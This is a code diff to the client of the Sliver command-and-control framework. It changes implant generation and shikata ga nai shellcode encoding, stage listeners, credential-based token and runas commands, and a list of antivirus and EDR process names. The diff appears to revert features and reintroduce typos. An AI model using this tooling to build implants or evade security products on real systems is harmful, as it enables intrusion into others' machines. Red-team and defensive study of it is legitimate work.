 	"runtime"
 	"strings"
@@ -35,8 +36,6 @@ import (
 
 	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/console"
-	consts "github.com/bishopfox/sliver/client/constants"
-	"github.com/bishopfox/sliver/client/spin"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/util"
@@ -83,9 +82,6 @@ var (
 		"windows/386":   true,
 		"windows/amd64": true,
 	}
-
-	ErrNoExternalBuilder = errors.New("no external builders are available")
-	ErrNoValidBuilders   = errors.New("no valid external builders for target")
 )
 
 // GenerateCmd - The main command used to generate implant binaries
@@ -98,24 +94,7 @@ func GenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if save == "" {
 		save, _ = os.Getwd()
 	}
-	if !ctx.Flags.Bool("external-builder") {
-		compile(config, ctx.Flags.Bool("disable-sgn"), save, con)
-	} else {
-		_, err := externalBuild(config, save, con)
-		if err != nil {
-			if err == ErrNoExternalBuilder {
-				con.PrintErrorf("There are no external builders currently connected to the server\n")
-				con.PrintErrorf("See 'builders' command for more information\n")
-			} else if err == ErrNoValidBuilders {
-				con.PrintErrorf("There are external builders connected to the server, but none can build the target you specified\n")
-				con.PrintErrorf("Invalid target %s\n", fmt.Sprintf("%s:%s/%s", config.Format, config.GOOS, config.GOARCH))
-				con.PrintErrorf("See 'builders' command for more information\n")
-			} else {
-				con.PrintErrorf("%s\n", err)
-			}
-			return
-		}
-	}
+	compile(config, save, con)
 }
 
 func expandPath(path string) string {
@@ -139,7 +118,7 @@ func saveLocation(save, DefaultName string) (string, error) {
 		if strings.HasSuffix(save, "/") {
 			log.Printf("%s is dir\n", save)
 			os.MkdirAll(save, 0700)
-			saveTo, _ = filepath.Abs(filepath.Join(saveTo, DefaultName))
+			saveTo, _ = filepath.Abs(path.Join(saveTo, DefaultName))
 		} else {
 			log.Printf("%s is not dir\n", save)
 			saveDir := filepath.Dir(save)
@@ -153,7 +132,7 @@ func saveLocation(save, DefaultName string) (string, error) {
 		log.Printf("%s does exist\n", save)
 		if fi.IsDir() {
 			log.Printf("%s is dir\n", save)
-			saveTo, _ = filepath.Abs(filepath.Join(save, DefaultName))
+			saveTo, _ = filepath.Abs(path.Join(save, DefaultName))
 		} else {
 			log.Printf("%s is not dir\n", save)
 			prompt := &survey.Confirm{Message: "Overwrite existing file?"}
@@ -178,9 +157,8 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string {
 		return "Shared Library"
 	case clientpb.OutputFormat_SHELLCODE:
 		return "Shellcode"
-	default:
-		return "Unknown"
 	}
+	panic(fmt.Sprintf("Unknown format %v", value))
 }
 
 // Shared function that extracts the compile flags from the grumble context
@@ -272,7 +250,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 	limitDatetime := ctx.Flags.String("limit-datetime")
 	limitFileExists := ctx.Flags.String("limit-fileexists")
 	limitLocale := ctx.Flags.String("limit-locale")
-	debugFile := ctx.Flags.String("debug-file")
 
 	isSharedLib := false
 	isService := false
@@ -346,7 +323,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 		ObfuscateSymbols: symbolObfuscation,
 		C2:               c2s,
 		CanaryDomains:    canaryDomains,
-		TemplateName:     ctx.Flags.String("template"),
 
 		WGPeerTunIP:       tunIP.String(),
 		WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
@@ -370,8 +346,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 		IsShellcode: isShellcode,
 
 		RunAtLoad: runAtLoad,
-
-		DebugFile: debugFile,
 	}
 
 	return config
@@ -491,9 +465,10 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
 		return c2s, nil
 	}
 	for index, arg := range strings.Split(args, ",") {
+		arg = strings.ToLower(arg)
 		var uri *url.URL
 		var err error
-		if cmp := strings.ToLower(arg); strings.HasPrefix(cmp, "http://") || strings.HasPrefix(cmp, "https://") {
+		if strings.HasPrefix(arg, "http://") || strings.HasPrefix(arg, "https://") {
 			uri, err = url.Parse(arg)
 			if err != nil {
 				return nil, err
@@ -633,131 +608,7 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
 	return c2s, nil
 }
 
-func externalBuild(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
-
-	potentialBuilders, err := findExternalBuilders(config, con)
-	if err != nil {
-		return nil, err
-	}
-	var externalBuilder *clientpb.Builder
-	if len(potentialBuilders) == 1 {
-		externalBuilder = potentialBuilders[0]
-	} else {
-		con.PrintInfof("Found %d external builders that can compile this configuration", len(potentialBuilders))
-		externalBuilder, err = selectExternalBuilder(potentialBuilders, con)
-		if err != nil {
-			return nil, err
-		}
-	}
-	con.PrintInfof("Using external builder: %s\n", externalBuilder.Name)
-
-	if config.IsBeacon {
-		interval := time.Duration(config.BeaconInterval)
-		con.PrintInfof("Externally generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
-	} else {
-		con.PrintInfof("Externally generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
-	}
-	if config.ObfuscateSymbols {
-		con.PrintInfof("%sSymbol obfuscation is enabled%s\n", console.Bold, console.Normal)
-	} else if !config.Debug {
-		con.PrintErrorf("Symbol obfuscation is %sdisabled%s\n", console.Bold, console.Normal)
-	}
-	start := time.Now()
-
-	listenerID, listener := con.CreateEventListener()
-
-	waiting := true
-	spinner := spin.New()
-
-	sigint := make(chan os.Signal, 1) // Catch keyboard interrupts
-	signal.Notify(sigint, os.Interrupt)
-
-	con.PrintInfof("Creating external build ... ")
-	externalImplantConfig, err := con.Rpc.GenerateExternal(context.Background(), &clientpb.ExternalGenerateReq{
-		Config:      config,
-		BuilderName: externalBuilder.Name,
-	})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return nil, err
-	}
-	con.Printf("done\n")
-
-	var name string
-	msgF := "Waiting for external builder to acknowledge build (template: %s) ... %s"
-	for waiting {
-		select {
-
-		case <-time.After(100 * time.Millisecond):
-			elapsed := time.Since(start)
-			msg := fmt.Sprintf(msgF, externalImplantConfig.Config.TemplateName, elapsed.Round(time.Second))
-			fmt.Fprintf(con.App.Stdout(), console.Clearln+" %s  %s", spinner.Next(), msg)
-
-		case event := <-listener:
-			switch event.EventType {
-
-			case consts.ExternalBuildFailedEvent:
-				parts := strings.SplitN(string(event.Data), ":", 2)
-				if len(parts) != 2 {
-					continue
-				}
-				if parts[0] == externalImplantConfig.Config.ID {
-					con.RemoveEventListener(listenerID)
-					return nil, fmt.Errorf("external build failed: %s", parts[1])
-				}
-
-			case consts.AcknowledgeBuildEvent:
-				if string(event.Data) == externalImplantConfig.Config.ID {
-					msgF = "External build acknowledged by builder (template: %s) ... %s"
-				}
-
-			case consts.ExternalBuildCompletedEvent:
-				parts := strings.SplitN(string(event.Data), ":", 2)
-				if len(parts) != 2 {
-					continue
-				}
-				if parts[0] == externalImplantConfig.Config.ID {
-					con.RemoveEventListener(listenerID)
-					name = parts[1]
-					waiting = false
-				}
-
-			}
-
-		case <-sigint:
-			waiting = false
-			con.Printf("\n")
-			return nil, fmt.Errorf("user interrupt")
-		}
-	}
-
-	elapsed := time.Since(start)
-	con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
-
-	generated, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
-		ImplantName: name,
-	})
-	if err != nil {
-		return nil, err
-	}
-	con.PrintInfof("Build name: %s (%d bytes)\n", name, len(generated.File.Data))
-
-	saveTo, err := saveLocation(save, filepath.Base(generated.File.Name))
-	if err != nil {
-		return nil, err
-	}
-
-	err = os.WriteFile(saveTo, generated.File.Data, 0700)
-	if err != nil {
-		con.PrintErrorf("Failed to write to: %s\n", saveTo)
-		return nil, err
-	}
-	con.PrintInfof("Implant saved to %s\n", saveTo)
-
-	return nil, nil
-}
-
-func compile(config *clientpb.ImplantConfig, disableSGN bool, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
+func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
 	if config.IsBeacon {
 		interval := time.Duration(config.BeaconInterval)
 		con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
@@ -784,8 +635,9 @@ func compile(config *clientpb.ImplantConfig, disableSGN bool, save string, con *
 		return nil, err
 	}
 
-	elapsed := time.Since(start)
-	con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
+	end := time.Now()
+	elapsed := time.Time{}.Add(end.Sub(start))
+	con.PrintInfof("Build completed in %s\n", elapsed.Format("15:04:05"))
 	if len(generated.File.Data) == 0 {
 		con.PrintErrorf("Build failed, no file data\n")
 		return nil, errors.New("no file data")
@@ -793,9 +645,9 @@ func compile(config *clientpb.ImplantConfig, disableSGN bool, save string, con *
 
 	fileData := generated.File.Data
 	if config.IsShellcode {
-		if disableSGN {
-			con.PrintErrorf("Shikata ga nai encoder is %sdisabled%s\n", console.Bold, console.Normal)
-		} else {
+		confirm := false
+		survey.AskOne(&survey.Confirm{Message: "Encode shellcode with shikata ga nai?"}, &confirm)
+		if confirm {
 			con.PrintInfof("Encoding shellcode with shikata ga nai ... ")
 			resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
 				Encoder:      clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
@@ -818,7 +670,7 @@ func compile(config *clientpb.ImplantConfig, disableSGN bool, save string, con *
 		return nil, err
 	}
 
-	err = os.WriteFile(saveTo, fileData, 0700)
+	err = ioutil.WriteFile(saveTo, fileData, 0700)
 	if err != nil {
 		con.PrintErrorf("Failed to write to: %s\n", saveTo)
 		return nil, err
@@ -908,48 +760,3 @@ func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, tar
 	survey.AskOne(prompt, &confirm, nil)
 	return confirm
 }
-
-func findExternalBuilders(config *clientpb.ImplantConfig, con *console.SliverConsoleClient) ([]*clientpb.Builder, error) {
-	builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
-	if err != nil {
-		return nil, err
-	}
-	if len(builders.Builders) < 1 {
-		return []*clientpb.Builder{}, ErrNoExternalBuilder
-	}
-
-	validBuilders := []*clientpb.Builder{}
-	for _, builder := range builders.Builders {
-		for _, target := range builder.Targets {
-			if target.GOOS == config.GOOS && target.GOARCH == config.GOARCH && config.Format == target.Format {
-				validBuilders = append(validBuilders, builder)
-				break
-			}
-		}
-	}
-
-	if len(validBuilders) < 1 {
-		return []*clientpb.Builder{}, ErrNoValidBuilders
-	}
-
-	return validBuilders, nil
-}
-
-func selectExternalBuilder(builders []*clientpb.Builder, con *console.SliverConsoleClient) (*clientpb.Builder, error) {
-	choices := []string{}
-	for _, builder := range builders {
-		choices = append(choices, builder.Name)
-	}
-	choice := ""
-	prompt := &survey.Select{
-		Message: "Select an external builder:",
-		Options: choices,
-	}
-	survey.AskOne(prompt, &choice, nil)
-	for _, builder := range builders {
-		if builder.Name == choice {
-			return builder, nil
-		}
-	}
-	return nil, ErrNoValidBuilders
-}

client/command/generate/helpers.go

@@ -17,7 +17,7 @@ func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsol
 		return data, err
 	}
 
-	implantName := buildImplantName(profile.GetConfig().GetFileName())
+	implantName := buildImplantName(profile.GetConfig().GetName())
 	_, ok := builds.GetConfigs()[implantName]
 	if implantName == "" || !ok {
 		// no built implant found for profile, generate a new one
@@ -35,18 +35,17 @@ func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsol
 			return data, err
 		}
 		data = generated.GetFile().GetData()
-		profile.Config.FileName = generated.File.Name
+		profile.Config.Name = buildImplantName(generated.GetFile().GetName())
 		_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
 		if err != nil {
 			con.PrintErrorf("Error updating implant profile\n")
 			return data, err
 		}
-		con.PrintInfof("Sliver name for profile %s: %s\n", profile.Name, buildImplantName(profile.GetConfig().GetFileName()))
 	} else {
 		// Found a build, reuse that one
-		con.PrintInfof("Sliver name for profile %s: %s\n", profile.Name, implantName)
+		con.PrintInfof("Sliver name for profile: %s\n", implantName)
 		regenerate, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
-			ImplantName: implantName,
+			ImplantName: profile.GetConfig().GetName(),
 		})
 
 		if err != nil {

client/command/generate/implants.go

@@ -49,10 +49,10 @@ func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
-	implantBuildFilters := ImplantBuildFilter{}
+	implantBuildfilters := ImplantBuildFilter{}
 
 	if 0 < len(builds.Configs) {
-		PrintImplantBuilds(builds.Configs, implantBuildFilters, con)
+		PrintImplantBuilds(builds.Configs, implantBuildfilters, con)
 	} else {
 		con.PrintInfof("No implant builds\n")
 	}
@@ -65,7 +65,6 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
 	tw.AppendHeader(table.Row{
 		"Name",
 		"Implant Type",
-		"Template",
 		"OS/Arch",
 		"Format",
 		"Command & Control",
@@ -104,13 +103,9 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
 		for index, c2 := range config.C2 {
 			c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
 		}
-		if config.TemplateName == "" {
-			config.TemplateName = "sliver"
-		}
 		tw.AppendRow(table.Row{
 			sliverName,
 			implantType,
-			config.TemplateName,
 			fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
 			config.Format,
 			strings.Join(c2URLs, "\n"),

client/command/generate/profiles-generate.go

@@ -41,7 +41,7 @@ func ProfilesGenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 	}
 	profile := GetImplantProfileByName(name, con)
 	if profile != nil {
-		implantFile, err := compile(profile.Config, ctx.Flags.Bool("disable-sgn"), save, con)
+		implantFile, err := compile(profile.Config, save, con)
 		if err != nil {
 			return
 		}

client/command/generate/regenerate.go

@@ -20,6 +20,7 @@ package generate
 
 import (
 	"context"
+	"io/ioutil"
 	"os"
 
 	"github.com/bishopfox/sliver/client/console"
@@ -50,7 +51,7 @@ func RegenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
-	err = os.WriteFile(saveTo, regenerate.File.Data, 0700)
+	err = ioutil.WriteFile(saveTo, regenerate.File.Data, 0700)
 	if err != nil {
 		con.PrintErrorf("Failed to write to %s\n", err)
 		return

client/command/help/long-help.go

@@ -105,9 +105,6 @@ var (
 		consts.ReactionStr + sep + consts.UnsetStr: reactionUnsetHelp,
 
 		consts.Cursed + sep + consts.CursedChrome: cursedChromeHelp,
-
-		// Builders
-		consts.BuildersStr: buildersHelp,
 	}
 
 	jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
@@ -455,7 +452,7 @@ The profile must be created with the [[.Bold]]service[[.Normal]] format, so that
 
 To create such a profile, use the [[.Bold]]profiles new[[.Normal]] command:
 
-profiles new --format service --skip-symbols --mtls a.bc.de win-svc64
+profiles new --format service --skip-symbols --mtls a.bc.de --profile-name win-svc64
 
 Once the profile has been created, run the [[.Bold]]psexec[[.Normal]] command:
 
@@ -471,16 +468,6 @@ The [[.Bold]]psexec[[.Normal]] command will use the credentials of the Windows u
 `
 	makeTokenHelp = `[[.Bold]]Command:[[.Normal]] make-token -u USERNAME -d DOMAIN -p PASSWORD
 [[.Bold]]About:[[.Normal]] Creates a new Logon Session from the specified credentials and impersonate the resulting token.
-You can specify a custon Logon Type using the [[.Bold]]--logon-type[[.Normal]] flag, which defaults to [[.Bold]]LOGON32_LOGON_NEW_CREDENTIALS[[.Normal]].
-Valid types are:
-
-LOGON_INTERACTIVE
-LOGON_NETWORK
-LOGON_BATCH
-LOGON_SERVICE
-LOGON_UNLOCK
-LOGON_NETWORK_CLEARTEXT
-LOGON_NEW_CREDENTIALS
 `
 
 	getEnvHelp = `[[.Bold]]Command:[[.Normal]] getenv [name]
@@ -714,13 +701,6 @@ the target extension must have either of these two sets of permissions:
 2. "webRequest" "webRequestBlocking" "http://*/*" "https://*/*" 
 
 More information: https://github.com/mandatoryprogrammer/CursedChrome
-`
-
-	buildersHelp = `[[.Bold]]Command:[[.Normal]] builders
-[[.Bold]]About:[[.Normal]] Lists external builders currently registered with the server.
-
-External builders allow the Sliver server offload implant builds onto external machines.
-For more information: https://github.com/BishopFox/sliver/wiki/External-Builders
 `
 )
 

client/command/info/info.go

@@ -43,14 +43,6 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if idArg != "" {
 		// ID passed via argument takes priority
 		session, beacon, err = use.SessionOrBeaconByID(idArg, con)
-	} else if session != nil || beacon != nil {
-		var currID = ""
-		if session != nil {
-			currID = session.ID
-		} else {
-			currID = beacon.ID
-		}
-		session, beacon, err = use.SessionOrBeaconByID(currID, con)
 	} else {
 		if session == nil && beacon == nil {
 			session, beacon, err = use.SelectSessionOrBeacon(con)

client/command/jobs/jobs.go

@@ -67,7 +67,6 @@ func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverConsoleClient)
 		"Name",
 		"Protocol",
 		"Port",
-		"Stage Profile",
 	})
 
 	var keys []int
@@ -83,7 +82,6 @@ func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverConsoleClient)
 			job.Name,
 			job.Protocol,
 			fmt.Sprintf("%d", job.Port),
-			job.ProfileName,
 		})
 	}
 	con.Printf("%s\n", tw.Render())

client/command/jobs/stage.go

@@ -23,14 +23,10 @@ import (
 	"compress/zlib"
 	"context"
 	"encoding/binary"
-	"fmt"
 	"net/url"
-	"path/filepath"
 	"strconv"
 	"strings"
 
-	"github.com/bishopfox/sliver/util/encoders"
-
 	"github.com/bishopfox/sliver/client/command/generate"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -74,7 +70,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if aesEncryptKey != "" {
 		// check if aes encryption key is correct length
 		if len(aesEncryptKey)%16 != 0 {
-			con.PrintErrorf("Incorrect length of AES Key\n")
+			con.PrintErrorf("Incorect length of AES Key\n")
 			return
 		}
 
@@ -107,7 +103,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		zlibWriter.Close()
 		stage2 = compBuff.Bytes()
 	case "gzip":
-		stage2 = encoders.GzipBuf(stage2)
+		stage2 = util.GzipBuf(stage2)
 	case "deflate9":
 		fallthrough
 	case "deflate":
@@ -133,8 +129,6 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			Data:     stage2,
 			Host:     stagingURL.Hostname(),
 			Port:     uint32(stagingPort),
-			ProfileName: fmt.Sprintf("%s (Sliver name: %s)", profileName,
-				strings.TrimSuffix(profile.GetConfig().FileName, filepath.Ext(profile.GetConfig().FileName))),
 		})
 		ctrl <- true
 		<-ctrl
@@ -163,8 +157,6 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			Cert:     cert,
 			Key:      key,
 			ACME:     ctx.Flags.Bool("lets-encrypt"),
-			ProfileName: fmt.Sprintf("%s (Silver name: %s)", profileName,
-				strings.TrimSuffix(profile.GetConfig().FileName, filepath.Ext(profile.GetConfig().FileName))),
 		})
 		ctrl <- true
 		<-ctrl
@@ -183,8 +175,6 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			Data:     stage2,
 			Host:     stagingURL.Hostname(),
 			Port:     uint32(stagingPort),
-			ProfileName: fmt.Sprintf("%s (Sliver name: %s)", profileName,
-				strings.TrimSuffix(profile.GetConfig().FileName, filepath.Ext(profile.GetConfig().FileName))),
 		})
 		ctrl <- true
 		<-ctrl

client/command/network/netstat.go

@@ -44,7 +44,6 @@ func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	ip6 := ctx.Flags.Bool("ip6")
 	tcp := ctx.Flags.Bool("tcp")
 	udp := ctx.Flags.Bool("udp")
-	numeric := ctx.Flags.Bool("numeric")
 
 	implantPID := getPID(session, beacon)
 	activeC2 := getActiveC2(session, beacon)
@@ -68,21 +67,25 @@ func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				con.PrintErrorf("Failed to decode response %s\n", err)
 				return
 			}
-			PrintNetstat(netstat, implantPID, activeC2, numeric, con)
+			PrintNetstat(netstat, implantPID, activeC2, con)
 		})
 		con.PrintAsyncResponse(netstat.Response)
 	} else {
-		PrintNetstat(netstat, implantPID, activeC2, numeric, con)
+		PrintNetstat(netstat, implantPID, activeC2, con)
 	}
 }
 
-func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string, numeric bool, con *console.SliverConsoleClient) {
+func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string, con *console.SliverConsoleClient) {
 	lookup := func(skaddr *sliverpb.SockTabEntry_SockAddr) string {
+		const IPv4Strlen = 17
 		addr := skaddr.Ip
 		names, err := net.LookupAddr(addr)
 		if err == nil && len(names) > 0 {
 			addr = names[0]
 		}
+		if len(addr) > IPv4Strlen {
+			addr = addr[:IPv4Strlen]
+		}
 		return fmt.Sprintf("%s:%d", addr, skaddr.Port)
 	}
 
@@ -95,12 +98,8 @@ func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string,
 		if entry.Process != nil {
 			pid = fmt.Sprintf("%d/%s", entry.Process.Pid, entry.Process.Executable)
 		}
-		srcAddr := fmt.Sprintf("%s:%d", entry.LocalAddr.Ip, entry.LocalAddr.Port)
-		dstAddr := fmt.Sprintf("%s:%d", entry.RemoteAddr.Ip, entry.RemoteAddr.Port)
-		if !numeric {
-			srcAddr = lookup(entry.LocalAddr)
-			dstAddr = lookup(entry.RemoteAddr)
-		}
+		srcAddr := lookup(entry.LocalAddr)
+		dstAddr := lookup(entry.RemoteAddr)
 		if entry.Process != nil && entry.Process.Pid == implantPID {
 			tw.AppendRow(table.Row{
 				fmt.Sprintf(console.Green+"%s"+console.Normal, entry.Protocol),

client/command/privilege/make-token.go

@@ -28,16 +28,6 @@ import (
 	"google.golang.org/protobuf/proto"
 )
 
-var logonTypes = map[string]uint32{
-	"LOGON_INTERACTIVE":       2,
-	"LOGON_NETWORK":           3,
-	"LOGON_BATCH":             4,
-	"LOGON_SERVICE":           5,
-	"LOGON_UNLOCK":            7,
-	"LOGON_NETWORK_CLEARTEXT": 8,
-	"LOGON_NEW_CREDENTIALS":   9,
-}
-
 // MakeTokenCmd - Windows only, create a token using "valid" credentails
 func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session, beacon := con.ActiveTarget.GetInteractive()
@@ -48,12 +38,6 @@ func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	username := ctx.Flags.String("username")
 	password := ctx.Flags.String("password")
 	domain := ctx.Flags.String("domain")
-	logonType := ctx.Flags.String("logon-type")
-
-	if _, ok := logonTypes[logonType]; !ok {
-		con.PrintErrorf("Invalid logon type: %s\n", logonType)
-		return
-	}
 
 	if username == "" || password == "" {
 		con.PrintErrorf("Pou must provide a username and password\n")
@@ -64,11 +48,10 @@ func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	con.SpinUntil("Creating new logon session ...", ctrl)
 
 	makeToken, err := con.Rpc.MakeToken(context.Background(), &sliverpb.MakeTokenReq{
-		Request:   con.ActiveTarget.Request(ctx),
-		Username:  username,
-		Domain:    domain,
-		Password:  password,
-		LogonType: logonTypes[logonType],
+		Request:  con.ActiveTarget.Request(ctx),
+		Username: username,
+		Domain:   domain,
+		Password: password,
 	})
 	ctrl <- true
 	<-ctrl

client/command/privilege/runas.go

@@ -36,12 +36,8 @@ func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 
 	username := ctx.Flags.String("username")
-	password := ctx.Flags.String("password")
-	domain := ctx.Flags.String("domain")
-	showWindow := ctx.Flags.Bool("show-window")
 	process := ctx.Flags.String("process")
 	arguments := ctx.Flags.String("args")
-	netonly := ctx.Flags.Bool("net-only")
 
 	if username == "" {
 		con.PrintErrorf("Please specify a username\n")
@@ -58,10 +54,6 @@ func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		Username:    username,
 		ProcessName: process,
 		Args:        arguments,
-		Domain:      domain,
-		Password:    password,
-		HideWindow:  !showWindow,
-		NetOnly:     netonly,
 	})
 	if err != nil {
 		con.PrintErrorf("%s", err)

client/command/processes/ps.go

@@ -21,7 +21,6 @@ package processes
 import (
 	"context"
 	"fmt"
-	"sort"
 	"strings"
 
 	"github.com/bishopfox/sliver/client/command/settings"
@@ -40,31 +39,25 @@ var (
 		// Process Name -> [Color, Stylized Name]
 		"ccSvcHst.exe":                    {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
 		"cb.exe":                          {console.Red, "Carbon Black"},                 // Carbon Black
-		"RepMgr.exe":                      {console.Red, "Carbon Black Cloud Sensor"},    // Carbon Black Cloud Sensor
-		"RepUtils.exe":                    {console.Red, "Carbon Black Cloud Sensor"},    // Carbon Black Cloud Sensor
-		"RepUx.exe":                       {console.Red, "Carbon Black Cloud Sensor"},    // Carbon Black Cloud Sensor
-		"RepWSC.exe":                      {console.Red, "Carbon Black Cloud Sensor"},    // Carbon Black Cloud Sensor
-		"scanhost.exe":                    {console.Red, "Carbon Black Cloud Sensor"},    // Carbon Black Cloud Sensor
+		"RepMgr.exe":                      {console.Red, "Carbon Black Cloud Sensor"},                 // Carbon Black Cloud Sensor
+		"RepUtils.exe":                    {console.Red, "Carbon Black Cloud Sensor"},                 // Carbon Black Cloud Sensor
+		"RepUx.exe":                       {console.Red, "Carbon Black Cloud Sensor"},                 // Carbon Black Cloud Sensor
+		"RepWSC.exe":                      {console.Red, "Carbon Black Cloud Sensor"},                 // Carbon Black Cloud Sensor
+		"scanhost.exe":                    {console.Red, "Carbon Black Cloud Sensor"},                 // Carbon Black Cloud Sensor
 		"MsMpEng.exe":                     {console.Red, "Windows Defender"},             // Windows Defender
-		"SenseIR.exe":                     {console.Red, "Windows Defender MDE"},         // Windows Defender Endpoint (Live Response Session)
-		"SenseCncProxy.exe":               {console.Red, "Windows Defender MDE"},         // Windows Defender Endpoint
-		"MsSense.exe":                     {console.Red, "Windows Defender MDE"},         // Windows Defender Endpoint
-		"MpCmdRun.exe":                    {console.Red, "Windows Defender"},             // Windows Defender
-		"MonitoringHost.exe":              {console.Red, "Windows Defender"},             // Microsoft Monitoring Agent
-		"HealthService.exe":               {console.Red, "Windows Defender"},             // Microsoft Monitoring Agent
 		"smartscreen.exe":                 {console.Red, "Windows Smart Screen"},         // Windows Defender Smart Screen
 		"CSFalconService.exe":             {console.Red, "CrowdStrike"},                  // Crowdstrike Falcon Service
 		"CSFalconContainer.exe":           {console.Red, "CrowdStrike"},                  // CrowdStrike Falcon Container Security
 		"bdservicehost.exe":               {console.Red, "Bitdefender"},                  // Bitdefender (Total Security)
 		"bdagent.exe":                     {console.Red, "Bitdefender"},                  // Bitdefender (Total Security)
 		"bdredline.exe":                   {console.Red, "Bitdefender"},                  // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
-		"Deep Security Manager.exe":       {console.Red, "Trend Micro"},                  // TM Deep Security Manager
-		"coreServiceShell.exe":            {console.Red, "Trend Micro"},                  // TM Anti-malware scan process
-		"ds_monitor.exe":                  {console.Red, "Trend Micro"},                  // TM Deep Security Monitor
-		"Notifier.exe":                    {console.Red, "Trend Micro"},                  // TM Deep Security Notifier's process
-		"dsa.exe":                         {console.Red, "Trend Micro"},                  // TM Agent's main process
-		"ds_nuagent.exe":                  {console.Red, "Trend Micro"},                  // TM Advanced TLS traffic inspection
-		"coreFrameworkHost.exe":           {console.Red, "Trend Micro"},                  // TM Anti-malware scan process
+		"Deep Security Manager.exe":	   {console.Red, "Trend Micro"},		  // TM Deep Security Manager 
+		"coreServiceShell.exe":	   	   {console.Red, "Trend Micro"},		  // TM Anti-malware scan process
+		"ds_monitor.exe":	   	   {console.Red, "Trend Micro"},		  // TM Deep Security Monitor
+		"Notifier.exe":	   		   {console.Red, "Trend Micro"},	    	  // TM Deep Security Notifier's process
+		"dsa.exe":	   		   {console.Red, "Trend Micro"},		  // TM Agent's main process
+		"ds_nuagent.exe":	   	   {console.Red, "Trend Micro"},	 	  // TM Advanced TLS traffic inspection
+		"coreFrameworkHost.exe":	   {console.Red, "Trend Micro"},		  // TM Anti-malware scan process
 		"SentinelServiceHost.exe":         {console.Red, "SentinelOne"},                  // Sentinel One
 		"SentinelStaticEngine.exe":        {console.Red, "SentinelOne"},                  // Sentinel One
 		"SentinelStaticEngineScanner.exe": {console.Red, "SentinelOne"},                  // Sentinel One
@@ -73,18 +66,13 @@ var (
 		"SentinelHelperService.exe":       {console.Red, "SentinelOne"},                  // Sentinel One
 		"SentinelBrowserNativeHost.exe":   {console.Red, "SentinelOne"},                  // Sentinel One
 		"SentinelUI.exe":                  {console.Red, "SentinelOne"},                  // Sentinel One
-		"Sysmon.exe":                      {console.Red, "Sysmon"},                       // Sysmon
-		"Sysmon64.exe":                    {console.Red, "Sysmon64"},                     // Sysmon64
+		"Sysmon.exe":                  	   {console.Red, "Sysmon"},                  	  // Sysmon
+		"Sysmon64.exe":                    {console.Red, "Sysmon64"},                     // Sysmon64		
 		"CylanceSvc.exe":                  {console.Red, "Cylance"},                      // Cylance
